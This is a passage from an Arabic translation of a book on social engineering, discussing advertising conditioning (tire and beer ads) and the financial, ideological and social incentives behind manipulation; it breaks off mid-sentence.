‫وﺗﻛون ﺳﻌﯾدا‪ .‬أن اﻟﻌﺎطﻔﺔ ﻣﺷﻐﻼت ﻟردود ﻓﻌل إﯾﺟﺎﺑﯾﮫ‪ ،‬وھذه اﻻﺳﺗﺟﺎﺑﺔ ﺗﮭﯾﺋك ﻋﻠﻰ أن ﯾﻛون ﻣﻘﺑوﻻ إﻟﻰ ﻣﺎ ﯾﻘﺎل ﻟك ﻣﻘﺑﻼ‪ .‬ﻋﻧد رؤﯾﺔ طﻔل‬
‫ﯾﺑﺗﺳم ﻟك‪ .‬ﻋﻧد رؤﯾﺗﮫ ﻓﮭذا ﯾﻛﻔﻲ ﻟﺗﮭﯾﺋﺔ اﻟﺗﻔﻛﯾر ﻓﻲ أن ﯾﻛون داﻓﺊ‪ ،‬واﻟﻣﺷﺎﻋر ﺳﻌﯾدة ﻋﻧدﻣﺎ ﺗرى إطﺎرات ﻣﯾﺷﻼن‪.‬‬

‫رؤﯾﺔ اﻟطﻔل ﺑﺟﺎﻧب اﻹطﺎرات ﺗﺟﻌﻠك ﺗﺳﺎوى اﻟﻣﺷﺎﻋر اﻹﯾﺟﺎﺑﯾﺔ اﻟﺳﻌﯾدة ﻣﻊ ﺗﻠك اﻟﻌﻼﻣﺔ اﻟﺗﺟﺎرﯾﺔ‪ .‬ھذا ھو ﻣﺛﺎل ﻋﻠﻰ اﻟﺗﻼﻋب اﻟﻛﻼﺳﯾﻛﻲ‪.‬‬
‫إﻋﻼن آﺧر )اﻧظر اﻟﺷﻛل اﻟﺗﺎﻟﻲ( اﻟذي رﺑﻣﺎ ﻛﺎن اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس ﯾﺗﺳﺎءل ﻣن ﺑدوﯾﺎﯾزر )‪-(Budweiser‬ﻧﺗذﻛر ﺗﻠك اﻟﺿﻔﺎدع ذات اﻟﺷﻌﺑﯾﺔ‬
‫ﻋﻧدﻣﺎ ﺗﺟﺷؤ ﻣﻊ "ﺑﯾد )‪" "(Bud‬واﯾس )‪ "(weis‬و "إﯾﮫ )‪"(er‬؟ ﻣﺎ ھﻲ ﻋﻼﻗﺔ اﻟﺿﻔﺎدع ﻣﻊ اﻟﺑﯾرة )اﻟﺟﻌﺔ(؟ وﻋﻠﻰ ﻧﻔس اﻟﻣﻧوال‪ ،‬اﻟﺗﻔﻛﯾر ﻓﻲ‬
‫اﻟﺣﺻﺎن ﻛﻠﯾدﯾﺳدال أﻛﺛر ﺣداﺛﺔ وﻋﺻﺎﺑﺗﮫ ﻣن أﺻدﻗﺎءه ﻣن اﻟﺣﯾوان‪ .‬ھذه اﻹﻋﻼﻧﺎت ﺟذاﺑﮫ‪ ،‬ﺣﺗﻰ ﻣﺿﺣك ﻓﻲ أول ﻣرة‪ ،‬وﻟﻛن ﻻ ﺗﺷرح ﺣﻘﺎ‬
‫ﻟﻣﺎذا ﺗرﯾد ﺷراء ھذه اﻟﺟﻌﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪941‬‬

‫ھذا اﻟﺷﻛل ﻣن أﺷﻛﺎل اﻟﺗﻼﻋب‪ ،‬اﻟﺗﮭﯾﺋﺔ )اﻟﺗﻛﯾﯾف(‪ ،‬ﯾﻛون ﻏﺎﻣض‪ .‬ﺣﯾث إﻧك ﺗﺿﺣك ﻣن ھذا اﻹﻋﻼن اﻟﺗﺟﺎري‪ ،‬ﺛم ﻓﻲ وﻗت ﻻﺣﻖ ﻟك ﺗذھب‬
‫اﻟﻰ ﻣﺣل اﻟﺑﯾرة اﻟﻣﺣﻠﻲ ﻟدﯾك‪ ،‬ﺣﯾث ﺗﻧظر اﻟﻰ اﻟﻛرﺗون ﻣن اﻟﺿﻔﺎدع أو اﻟﺣﺻﺎن‪ ،‬وﺗﺑﺗﺳم ﻟﻧﻔﺳك‪ ،‬ﻣﻣﺎ ﯾﺧﻠﻖ ذﻟك اﻟﺷﻌور اﻹﯾﺟﺎﺑﻲ اﻟذي ﯾﺟﻌﻠك‬
‫ﺗﺷﻌر ﺑﻘﺑول ﺷراء ھذا اﻟﻣﻧﺗﺞ‪.‬‬
‫ﺗﺳﺗﺧدم ھذه اﻟﺗﻛﺗﯾﻛﺎت ﻓﻲ اﻟﺗﻛﯾﯾف‪/‬اﻟﺗﮭﯾﺋﺔ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻓﻲ ﻋﺎﻟم اﻟﻣﺑﯾﻌﺎت وﺷرﻛﺎت اﻟﺗﺳوﯾﻖ ﺑﮭدف اﻟﺗﻼﻋب ﺑﺎﻟﻣﺳﺗﮭﻠك ﻟﺷراء‬
‫ﻣﻧﺗﺟﺎﺗﮭﺎ ﻋﻠﻰ اﻟﻣﻧﺎﻓﺳﺔ‪ .‬اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ ﻟﯾس ﺣﻘﺎ ﻟﺑﯾﻊ اﻟﻣﻧﺗﺞ‪ ،‬ﻟﻛﻧﮫ ﯾرﯾد ﻣن أھداﻓﮫ "ﺷراء" ﺧطوط ﺣﯾث أﻧﮫ ﯾﺑﯾﻌﮭﺎ‪ ،‬ﺣﯾث اﻟذرﯾﻌﺔ اﻟﺗﻲ‬
‫ﺗﺳﺗﺧدﻣﮭﺎ ھﻧﺎك‪ ،‬واﻹﺟراءات اﻟﺗﻲ ﺗرﯾدھﺎ ﻣن اﻟﮭدف ﻻﺗﺧﺎذھﺎ‪ .‬ﻟﻛن ﻟﻣﺎذا اﺳﺗﺧدام اﻟﺗﻼﻋب؟ ﻣﺎ ھﻲ اﻟﺣواﻓز ﻻﺳﺗﺧدام ھذا اﻟﺷﻛل اﻟﻘوي ﻣن‬
‫أﺷﻛﺎل اﻟﺳﯾطرة؟ ﯾﻐطﻲ اﻟﻘﺳم اﻟﺗﺎﻟﻲ ھذا اﻟﻣوﺿوع ﺟدا‪.‬‬
‫ﺣﻮاﻓﺰ اﻟﺘﻼﻋﺐ )‪(Manipulation Incentives‬‬
‫ﻣﺎ ھﻲ اﻟﺣواﻓز ﻟﻠﺗﻼﻋب ﺑﺷﺧص ﻣﺎ؟ ھذا اﻟﺳؤال ﯾوﺟﮭك اﻟﻰ ﺟذر اﻟطرﯾﻘﺔ‪ ،‬اﻟﺗﻔﻛﯾر‪ ،‬واﻟﺗﻛﺗﯾﻛﺎت اﻟﻣﺳﺗﺧدﻣﺔ ﻓﻲ أي ﺗﻼﻋب‪ .‬ﻟﯾس ﻛل اﻟﺗﻼﻋب‬
‫ﺳﻠﺑﻲ‪ ،‬وﻟﻛن ﯾرﺗﺑط ﺑﺎﻟﺣواﻓز وراء ذﻟك‪ .‬وﻟﻛن ﻛل ﺣﺎﻓز ﯾﻣﻛن أن ﺗﻛون إﯾﺟﺎﺑﯾﺔ أو ﺳﻠﺑﯾﺔ‪.‬‬
‫ﻣﺎ ھو اﻟﺣﺎﻓز؟ اﻟﺣﺎﻓز ﯾﻣﻛن وﺻﻔﮫ ﺑﺄﻧﮫ أي ﺷﻲء ﯾﺣﻔزك ﻻﺗﺧﺎذ إﺟراء‪ .‬ﯾﻣﻛن أن ﯾﻛون اﻟﻣﺎل‪ ،‬اﻟﺣب‪ ،‬اﻟﻧﺟﺎح‪ ،‬أو أي ﺷﻲء‪ ،‬ﺣﺗﻰ اﻟﻣﺷﺎﻋر‬
‫اﻟﺳﻠﺑﯾﺔ ﻣﺛل اﻟﻛراھﯾﺔ واﻟﻐﯾرة‪ ،‬واﻟﺣﺳد‪.‬‬
‫اﻷﺳﺑﺎب اﻟرﺋﯾﺳﯾﺔ ﻟﻣﺎذا اﺧﺗﺎر اﻟﻧﺎس اﻟﺗﻌﺎﻣل ﻣﻊ اﻵﺧرﯾن‪ ،‬ﯾﻣﻛن ﺗﻘﺳﯾﻣﮭﺎ إﻟﻰ ﺛﻼث ﻓﺋﺎت‪ :‬اﻟﺣواﻓز اﻟﻣﺎﻟﯾﺔ واﻻﺟﺗﻣﺎﻋﯾﺔ واﻹﯾدﯾوﻟوﺟﯾﺔ‪ .‬ﺗﺑدو‬
‫اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﻓﻲ ﻛل ﻣن ھذه اﻟﺣواﻓز وﻛﯾﻔﯾﺔ ﺗطﺑﯾﻘﮭﺎ ﻟﻠﺗﻼﻋب‪.‬‬
‫اﻟﺤﻮاﻓﺰ اﻟﻤﺎﻟﯿﺔ )‪(Financial Incentives‬‬
‫اﻟﺣواﻓز اﻟﻣﺎﻟﯾﺔ ﺗﻣﯾل إﻟﻰ أن ﺗﻛون اﻷﻛﺛر ﺷﯾوﻋﺎ‪ ،‬ﻛﻣﺎ ﻓﻲ اﻟﺣﺎﻻت اﻟﻣذﻛورة ﻓﻲ وﻗت ﺳﺎﺑﻖ اﻟﻣﺗﻌﻠﻘﺔ ﺑزﯾﺎدة اﻟﻣﺑﯾﻌﺎت‪ .‬اﻟﻌدﯾد ﻣن اﻟﺣﯾل ﻟدﯾﮭﺎ‬
‫ﺣﺎﻓز ﻣﺎﻟﻲ وراء أﺳﺎﻟﯾﺑﮭم‪.‬‬
‫ﻛم ﻣن اﻟﻧﺎس ﻟﻌب اﻟﯾﺎﻧﺻﯾب ﻛل ﯾوم ﻋﻠﻰ أﻣل اﻟﺣﺻول ﻋﻠﻰ ﺗذﻛرة اﻟﻔوز؟ ﻗد ﯾﻧﻔﻘون ﻣﺋﺎت اﻟدوﻻرات ﻋﻠﻰ ﻣر اﻟزﻣن‪ ،‬وﻛﺳب ‪ 20‬دوﻻرا‬
‫ﻣﻛﺎﻓﺄة ﯾﺟﻌﻠﮫ ﺳﻌﯾدا ً وﯾﺑﻘﯾﮭم ﻟﯾﻌودوا أﻛﺛر‪.‬‬
‫اﻟﻣﺛﺎل اﻟﻐﯾر ﺧﺑﯾث ﻣن اﻟﺣواﻓز اﻟﻣﺎﻟﯾﺔ ھو اﻟﻘﺳﺎﺋم‪ .‬إذا ﻛﻧت ﺗﺷﺗري ھذا اﻟﻣﻧﺗﺞ ﺑﺷﻛل ﺧﺎص ﻓﻲ ھذا اﻟﻣﺧزن ﻣﻌﯾن ﺳﺗﺣﺻل ﻋﻠﻰ ‪ X‬دوﻻر او‬
‫ﺳﻧﺗﺎ‪ .‬إذا ﻛﻧت ﻣﺗﺳوق ﻣﻘﺗﺻد أو ﺗرﯾد أن ﺗﺟرب ھذا اﻟﻣﻧﺗﺞ ﺳوف ﺗذھب إﻟﻰ ذﻟك اﻟﻣﺣل‪.‬‬
‫اﻟﻌدﯾد ﻣن اﻹﻋﻼﻧﺎت اﻟﺗﺟﺎرﯾﺔ اﻟﺗﻲ ﺗروج ﻟﺗﻌزﯾز اﻟﺗﻌﻠﯾم اﻟﺧﺎص‪ ،‬واﻟوظﯾﻔﻲ‪ ،‬أو ﻣﺟﻣوﻋﺔ ﻣن اﻟﻣﮭﺎرات ﺗﺳﺗﺧدم اﻟﺣواﻓز اﻟﻣﺎﻟﯾﺔ ﻣن ﺧﻼل‬
‫رﺳم ﺻورة دﺧﻠك اﻟذي ﺳﯾزﯾد ﺑﺎﻟطﺑﻊ ﺑﻌد أﺧذ اﻟﻛورس أو اﻟﺗﻌﻠﯾم‪.‬‬
‫ﺣﺎﻓز اﻟﻣﮭﺎﺟم اﻟﺿﺎر ﻓﻲ اﺳﺗﺧدام اﻟﺗﻼﻋب ھو ﻣﻛﺎﺳب ﻣﺎﻟﯾﺔ ﺧﺎﺻﺔ‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ دواﻓﻌﮫ وأﺳﻠوﺑﮫ ﺳوف ﺗﻌﻛس ذﻟك‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا ﻛﺎن‬
‫ھدف اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث ھو اﻟﺣﺻول ﻋﻠﻰ ھدﻓﮫ ﻟﻣﺷﺎرﻛﺗﮫ ﺑﻌض ﻣن ﻣﺎﻟﮫ اﻟﺣﺎﺻل ﻋﻠﯾﮫ ﺑﺷﻖ اﻻﻧﻔس‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺳوف‬
‫ﯾﺳﺗﺧدم اﻟذراﺋﻊ اﻟﺗﻲ ﺳﯾﺗم "اﻟﺳﻣﺎح" ﻟﻠﻣطﺎﻟﺑﺔ‪-‬ذراﺋﻊ اﻟﻣﺎل ﻣﺛل اﻟﻣﻧظﻣﺎت اﻟﺧﯾرﯾﺔ ھﻲ ﻣﻧﺎﺳﺑﺔ ﻓﻲ ھذا اﻟﺳﯾﻧﺎرﯾو ﻷن ﯾﺳﺄل ﻋن اﻟﺗﺑرﻋﺎت أو‬
‫اﻟﻣﻌﻠوﻣﺎت اﻟﻣﺎﻟﯾﺔ ﻟﯾس ﺧﺎرﺟﺎ ﻋن اﻟﻣﺄﻟوف‪.‬‬
‫اﻟﺤﻮاﻓﺰ اﻷﯾﺪﯾﻮﻟﻮﺟﯿﺔ )‪(Ideological Incentives‬‬
‫اﻟﺣواﻓز اﻷﯾدﯾوﻟوﺟﯾﺔ ھﻲ اﻷﻛﺛر ﺻﻌوﺑﺔ ﻓﻲ وﺻﻔﮭﺎ‪ .‬ﺣﯾث أن ﻗدوة ﻛل ﺷﺧص ﺗﺧﺗﻠف‪ ،‬وﯾﻣﻛن أن ﺗؤﺛر ﺗﻠك اﻟﻘدوة ﻋﻠﻰ اﻟﺣﺎﻓز‪ .‬إذا ﻛﺎن‬
‫ﺣﻠﻣك ﻓﻲ اﻟﺣﯾﺎة ھو أن ﺗدﯾر ﻣطﻌﻣﺎ ﻓﮭذا ھو ﺷﻐﻔك‪ .‬ﻓﺳوف ﺗﻌﻣل ﻟﺳﺎﻋﺎت أطول ووﺿﻊ اﻟﻣزﯾد ﻣن اﻟﺟﮭد ﻣن أي ﻣن ﻣوظﻔﯾك‪ .‬ﺳوف ﺗﻌﻣل‬
‫أﯾﺿﺎ ﻷﻗل ﻣن اﻟﻣﺎل‪ ،‬ﻷﻧﮫ ﺣﻠﻣك أو اﻟداﻓﻊ اﻟﺧﺎص ﺑك؛ ﻋن اﻟﺟﻣﯾﻊ ﻋﻠﻰ اﻧﮫ ﻣﺟرد وظﯾﻔﺔ ﻓﻘط‪.‬‬
‫اﻷﺣﻼم واﻟﻣﻌﺗﻘدات ﯾﻣﻛن أن ﺗﻛون ﻣﻧﻐرﺳﮫ ﻓﻲ اﻟﺷﺧص ﺣﯾث إﻣﻛﺎﻧﯾﺔ ﻓﺻﻠﮫ ﻋن اﻟﺷﺧص ﯾﻣﻛن أن ﺗﻛون ﺷﺑﮫ ﻣﺳﺗﺣﯾﻠﺔ‪ .‬ﻋﻧدﻣﺎ ﺗﺳﻣﻊ ھذه‬
‫اﻟﻌﺑﺎرة‪" :‬ﻟدي ﺣﻠم"‪ ،‬أﺣﻼم ﺑﻌض اﻟﻧﺎس واﻷھداف ھﻲ ﻣن ھم‪ ،‬وﻟﯾس ﻣﺎ ﻧﻔﻛر‪.‬‬
‫ﯾﻣﯾل اﻟﻧﺎس اﻟﻰ ذوﯾﮭم اﻟﺗﻲ ﻟدﯾﮭم أﺣﻼم وأھداف ﻣﺗﻣﺎﺛﻠﺔ‪ ،‬وھذا ھو اﻟﺳﺑب ﻓﻲ ھذه اﻟﻌﺑﺎرة‪" :‬اﻟطﯾور ﻋﻠﻰ أﺷﻛﺎﻟﮭﺎ ﺗﻘﻊ" ﺗﻧطﺑﻖ ﻋﻠﻰ ﻣﺎ ﯾﻘﺎل ﻓﻲ‬
‫ھذه اﻟﻣﻧﺎﻗﺷﺔ‪ .‬وﻟﻛﻧﮭﺎ أﯾﺿﺎ ﺗﺟﻌل اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس ﯾﻣﻛن اﻟﺗﻼﻋب ﺑﮭم‪.‬‬
‫ﻓﻠﺗﻧظر إﻟﻰ اﻹذاﻋﺎت اﻹﻧﺟﯾﻠﯾﺔ اﻟﻣﺳﯾﺣﯾﺔ‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ .‬اﻟﻧﺎس اﻟذﯾن ﻟدﯾﮭم اﻹﯾﻣﺎن واﻟرﻏﺑﺔ ﻓﻲ ﯾؤﻣﻧون ﺑﺎ� ﯾﺗواﻓدون ﻣﻌﺎ‪ .‬ﻣﺛل ﺗﻔﻛﯾر‬
‫ھؤﻻء اﻟﻧﺎس ﯾﻣﻛن أن ﯾﻌزز اﻹﯾﻣﺎن واﻟرﻏﺑﺔ ﻓﻲ ﻓﻌل اﻟﺷﻲء اﻟﺻﺣﯾﺢ ﻟﺑﻌﺿﮭم اﻟﺑﻌض‪ ،‬وﻟﻛن اﻟواﻋظ اﻟﺗﻠﻔزﯾوﻧﻲ اﻹﻧﺟﯾﻠﻲ ﯾﻣﻛﻧﮫ اﺳﺗﺧدام ھذه‬
‫اﻷﯾدﯾوﻟوﺟﯾﺔ ﻹﻗﻧﺎع اﻟﻧﺎس أن رﻏﺑﺔ ﷲ ھﻲ ﻟﺗﻠك اﻟﻛﻧﯾﺳﺔ ﺧﺎﺻﺔ ﻟﺗزدھر‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ أﯾﺿﺎ ﺑطﺎﻧﺔ ﻟﻠواﻋظ اﻹﻧﺟﯾﻠﻲ ﻣن "ﺟﯾوب ﺑﮭﺎ اﻟﻧﻘد"‪.‬‬
‫اﻟداﻋﯾﺔ اﻹﻧﺟﯾﻠﻲ ﯾﻌطﻲ ﺑﺿﻊ اﻟﺧطب ﻟﻠﺗﺣﻔﯾز وﯾﻠﻘﻲ ﺑﻌض اﻟدﻣوع ﻓﺟﺄة واﻟﻧﺎس ﺗرﺳل اﻟﺷﯾﻛﺎت‪ .‬ھؤﻻء اﻟدﻋﺎة ﯾﺳﺗﺧدﻣوا أدوات اﻟﻣﺛل اﻷﻋﻠﻰ‬
‫ﺳواء اﻟﻣﺎﻟﯾﺔ واﻻﺟﺗﻣﺎﻋﯾﺔ )راﺟﻊ اﻟﻣﻘطﻊ اﻟﺗﺎﻟﻲ‪" ،‬اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ"( ﻟﺗﺣوﯾل اﻟﻣﺳﺗﻣﻌﯾن ﻟﻣﺑﺎدﺋﮭم ﺣﺗﻰ ﻟﮭؤﻻء اﻟﻧﺎس ﻟﺟزء ﻣﻊ اﻟﻧﻘدﯾﺔ‪ .‬ﻣﺎ‬
‫ﯾﺛﯾر اﻻھﺗﻣﺎم ھو أﻧﮫ إذا ﻛﻧت ﺗﺳﺄل ﺗﺎﺑﻌﺎ ﻛﯾف ﯾﺷﻌر ﺣول اﻟداﻋﯾﺔ ﻛوﻧﮫ وﺳﯾﻠﺔ أﻛﺛر ﺛراء ﻣﻣﺎ ھو‪ ،‬ﻓﺗﺟد اﻧﮫ ﯾﻘول اﻧﮫ ﯾﻌﺗﻘد اﻧﮭﺎ ﻣﺷﯾﺋﺔ ﷲ‪.‬‬
‫ﺣﯾث ﺗم ﺗﻐﯾﯾر ﻣﻌﺗﻘداﺗﮫ أو اﻟﺗﻼﻋب ﺑﮭﺎ‪.‬‬
‫ﯾﻣﻛن أﯾﺿﺎ أن ﺗﺳﺗﺧدم اﻟﺣواﻓز اﻷﯾدﯾوﻟوﺟﯾﺔ ﻣن أﺟل اﻟﺻﺎﻟﺢ ﻣن ﺧﻼل ﺗﺛﻘﯾف اﻟﻧﺎس ﺣول اﻷﺧﻼق‪ ،‬وﺣﺗﻰ اﻟﻠﺟوء إﻟﻰ اﺳﺗﺧدام اﻟﺧوف‬
‫واﻟﺣﺎﻓز ﯾﻣﻛن أن ﯾﻛون ﻟﮭﺎ آﺛﺎر ﻛﺑﯾرة ﻋﻠﻰ اﻟﻧﺎس‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾدرس اﻟﺣواﻓز اﻷﯾدﯾوﻟوﺟﯾﺔ ﻟﻸطﻔﺎل ﻣن ﺧﻼل اﻟﻘﺻص واﻟﺧراﻓﺎت‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪942‬‬

‫اﻟﺗﻲ ﻟﮭﺎ ﻣﻌﺎﻧﻲ وراءھﺎ‪ .‬اﻷﺧوان ﺟرﯾم ھﻲ ﻣﺛﺎل ﻣﻣﺗﺎز ﻟﮭذا اﻟﻧوع ﻣن اﻟﺣواﻓز‪ .‬اﻟﻘﺻص اﻟﺗﻲ ﻛﺛﯾرا ﻣﺎ ﯾﻧﺗﮭﻲ ﻓﯾﮭﺎ اﻟﺷﺧﺻﯾﺎت اﻟﺳﯾﺋﺔ ﯾﻌﺎﻧون‬
‫اﻷذى اﻟﺟﺳدي أو ﺣﺗﻰ اﻟﻣوت واﻟﺷﺧﺻﯾﺎت اﻟﺟﯾدة‪ ،‬اﻟﻣﺛﺎﺑرة ﻣن ﺧﻼل ﻛل أﺷﻛﺎل اﻟﻣﺷﻘﺔ‪ ،‬واﻟﺣﺻول ﻋﻠﻰ ﻣﻛﺎﻓﺄة ﺿﺧﻣﺔ ﻓﻲ اﻟﻧﮭﺎﯾﺔ ﯾﺑﻧﻲ‬
‫اﻟﺧوف ﻣن أن ﯾؤدي ﻛوﻧﮫ ﺳﯾﺊ ﺣﺗﻰ اﻟﻣوت أو ﺑﻌض اﻟﻌﻘوﺑﺔ اﻟرھﯾﺑﺔ‪.‬‬
‫ﺗﺳﺗﺧدم اﻟﺣواﻓز اﻷﯾدﯾوﻟوﺟﯾﺔ ﻓﻲ ﻣﺟﺎل اﻟﺗﺳوﯾﻖ‪ ،‬أﯾﺿﺎ‪ ،‬ﻣن ﺧﻼل وﺿﻊ اﻹﻋﻼﻧﺎت ﺣﯾث اﻟﻣﺛل " ذات اﻟﺗﻔﻛﯾر اﻟﻣﻣﺎﺛل" ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‬
‫"اﻟوﻓﺎء" ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﺗﺳوق ﺷرﻛﺎت اﻟﺣﻔﺎﺿﺎت ﻓﻲ ﻣﺟﻼت اﻷﺳرة‪ ،‬ﺳوق ﻟﻣﺄوى اﻟﺣﯾواﻧﺎت ﻓﻲ ﺣداﺋﻖ اﻟﺣﯾوان‪ ،‬ﺷرﻛﺎت اﻟﻌﺗﺎد‬
‫اﻟرﯾﺎﺿﻲ ﺗﺳوق ﻧﻔﺳﮭﺎ ﻓﻲ اﻟﻣﻧﺎﺳﺑﺎت اﻟرﯾﺎﺿﯾﺔ‪ ،‬وھﻛذا‪ .‬ھذا اﻟﻧوع ﻣن اﻟﺣواﻓز ﯾﻌطﻲ ﻓرﺻﺔ أﻛﺑر أن اﻟﺳﻠﻊ أو اﻟﺧدﻣﺎت اﻟﺗﻲ ﯾﺗم اﻹﻋﻼن‬
‫ﻋﻧﮭﺎ ﺳﯾﺗم ﺷراؤھﺎ ﻣن ﻗﺑل أوﻟﺋك اﻟذﯾن ﯾﺷﺗرﻛون ﻓﻲ ﻧﻔس اﻟﻣﺛل اﻟﻌﻠﯾﺎ‪.‬‬
‫ﺗﺳﺗﺧدم اﻟﺣواﻓز اﻷﯾدﯾوﻟوﺟﯾﺔ ﻟﺗﺣﻘﯾﻖ اﻟﻣﺛل ﻣﻊ اﻟﻣرء اﻟﻣﺗﺷﺎﺑﮫ ﻓﻲ اﻟﻌﻘﻠﯾﺔ‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‪ ،‬اﻟﻧﺎس ﯾﻛوﻧوا ﻣﺗﻌﺎطﻔﯾن ﻣﻊ ﻗﺿﯾﺔ ﻋﻧدﻣﺎ ﺗﺑدأ‬
‫ﺗﻛﺗﯾﻛﺎت اﻟﺗﻼﻋب‪ .‬ﻣرة أﺧرى‪ ،‬ﻟﯾس ﻛل اﻟﺗﻼﻋب ﺳﯾﺋﺔ‪ ،‬وﻟﻛن ﻻ ﺑد ﻣن اﺳﺗﺧداﻣﮭﺎ ﻓﻲ اﻟطرﯾﻖ اﻟﺻﺣﯾﺢ‪.‬‬
‫اﻟﺤﻮاﻓﺰ اﻻﺟﺘﻤﺎﻋﯿﺔ )‪(Social Incentives‬‬
‫اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ﻋﻠﻰ اﻷرﺟﺢ اﻷﻛﺛر اﺳﺗﺧداﻣﺎ ﻋﻠﻰ ﻧطﺎق واﺳﻊ واﻷﻛﺛر ﺗﻌﻘﯾدا ﻣن ﻣﺟﻣوﻋﺔ اﻟﺣواﻓز ھﻧﺎك‪ ،‬وﺧﺻوﺻﺎ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ‬
‫اﻷﻣر ﺑﺎﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫اﻟﺑﺷر ﯾﻛوﻧوا اﺟﺗﻣﺎﻋﯾن ﺑطﺑﻌﮭم؛ وھو ﻣﺎ ﻧﻘوم ﺑﮫ ﻓﻲ اﻟﺣﯾﺎة اﻟﯾوﻣﯾﺔ اﻟﻌﺎدﯾﺔ‪ .‬ﺗﺷﻣل اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ أﯾﺿﺎ ﺟﻣﯾﻊ اﻷﻧواع اﻷﺧرى ﻣن‬
‫اﻟﺣواﻓز‪ .‬اﻟﻌﻼﻗﺔ اﻟﺻﺣﯾﺣﺔ ﯾﻣﻛن أن ﺗﻌزز اﻻﺣﺗﯾﺎﺟﺎت اﻟﻣﺎﻟﯾﺔ اﻟﺧﺎﺻﺔ ﺑك وﯾﻣﻛﻧﮭﺎ أﯾﺿﺎ ﺿﺑط‪ ،‬ﻣﺣﺎذاة‪ ،‬أو زﯾﺎدة اﻟﻘدوة اﻟﺧﺎﺻﺔ ﺑك‪ .‬وﯾﻣﻛن‬
‫اﻟﻘول إن اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ أﻗوى ﻣن ﻏﯾرھﺎ ﻣن ھذﯾن اﻟﻧوﻋﯾن ﻣن اﻟﺣواﻓز‪.‬‬
‫ﻗوة ﺿﻐط اﻻﻗران ﻟﺣﻣل اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس ﻣن اﻟﺳﮭل رؤﯾﺗﮭﺎ‪ .‬اﻟﺻﻐﺎر واﻟﻛﺑﺎر ﻋﻠﻰ ﺣد ﺳواء‪ ،‬رﺳم اﻻﻧﺳﺟﺎم )‪ (draw of conformity‬ھﻲ‬
‫ﻗوة‪ .‬ﻣرات ﻋدﯾدة‪ ،‬ﻣﺎ ھو ﻣﻘﺑول ﯾرﺗﺑط ﻣﺑﺎﺷرة ﺑﺎﻟﺣﺎﻓز اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻧظرة واﺣدة ﻋﻠﻰ اﻟﺣﯾﺎة واﻟﻧﻔس ﯾﻣﻛن أن ﺗﺗﺄﺛر ﻛﺛﯾرا ﺑﺎﻟﻣﺣﯾط اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﻓﻲ ﺟوھره ﯾﻣﻛن أن ﯾوﺟد ﺿﻐط اﻷﻗران ﺣﺗﻰ ﻓﻲ ﻏﯾﺎب أﻗراﻧﮭم اﻟﻣﺑﺎﺷرة‪.‬‬
‫ھل أﻧﺎ ﺣﺳن اﻟﻣظﮭر؟ ﺣﺳﻧﺎ‪ ،‬ذﻟك ﯾﻌﺗﻣد‪ .‬إذا أﻧﺎ ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة ﺣﯾث أن اﻟﻌﺎرﺿﺔ ذات ﺣﺟم اﻟﺻﻔر واﻟرﺟﺎل ﻟدﯾﮭم اﻟﻌﺿﻼت ﻓﻲ أﻣﺎﻛن‬
‫ﻟم أﻛن أﻋرف وﺟود اﻟﻌﺿﻼت‪ ،‬ورﺑﻣﺎ ﻻ‪ .‬إذا أﻧﺎ ﻓﻲ روﻣﺎ اﻟﻘدﯾﻣﺔ ﺣﯾث ﯾﻌﻧﻰ ﻛﺑﯾرا أﻧﻰ اﺗﻣﺗﻊ ﺑﺎﻟﻐﻧﻰ واﻟﻘوه‪ ،‬ﺛم أﻧﺎ‪ .‬ﯾﺗم ﺗﺄطﯾر ﻧﻔﺳك اﻟداﺧﻠﻲ‬
‫ﻛﻠﮫ ﻣن وﺟﮭﺔ ﻧظرﺗك اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻠﻌﺎﻟم‪.‬‬
‫ﻓﻲ ﻋﺎم ‪ ،1975‬ﻗﺎﻣت اﻟﻘوات اﻟﺟوﯾﺔ اﻷﻣرﯾﻛﯾﺔ دراﺳﺔ ﺑﻌﻧوان "ﺗﺣدﯾد وﺗﺣﻠﯾل اﻟﺣواﻓز اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ اﻟﺗدرﯾب اﻟﺗﻘﻧﻲ ﻟﺳﻼح اﻟﺟو" ﻓﻲ ﻣﺣﺎوﻟﺔ‬
